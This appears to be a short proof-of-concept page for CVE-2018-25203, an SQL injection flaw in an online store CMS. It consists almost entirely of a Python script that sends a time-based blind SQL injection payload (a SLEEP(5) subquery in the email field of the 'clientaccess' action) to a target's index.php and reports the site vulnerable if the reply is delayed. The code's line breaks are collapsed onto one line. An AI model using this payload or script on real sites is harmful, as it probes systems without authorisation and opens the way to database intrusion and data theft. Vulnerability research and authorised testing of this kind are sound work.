CVE-2018-25203 Online Store System CMS SQL注入漏洞

import requests def check_sqli(target_url): # Target endpoint based on the vulnerability description url = f"{target_url}/index.php" # Payload for time-based blind SQL injection # If the database pauses for 5 seconds, the vulnerability is confirmed payload = { "action": "clientaccess", "email": "[email protected]' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" } try: print(f"Sending request to {url}...") response = requests.post(url, data=payload, timeout=10) # Check if the response time indicates a delay caused by SLEEP(5) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Response time delayed.") else: print("[-] Vulnerability not detected or response too fast.") except requests.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1" check_sqli(target)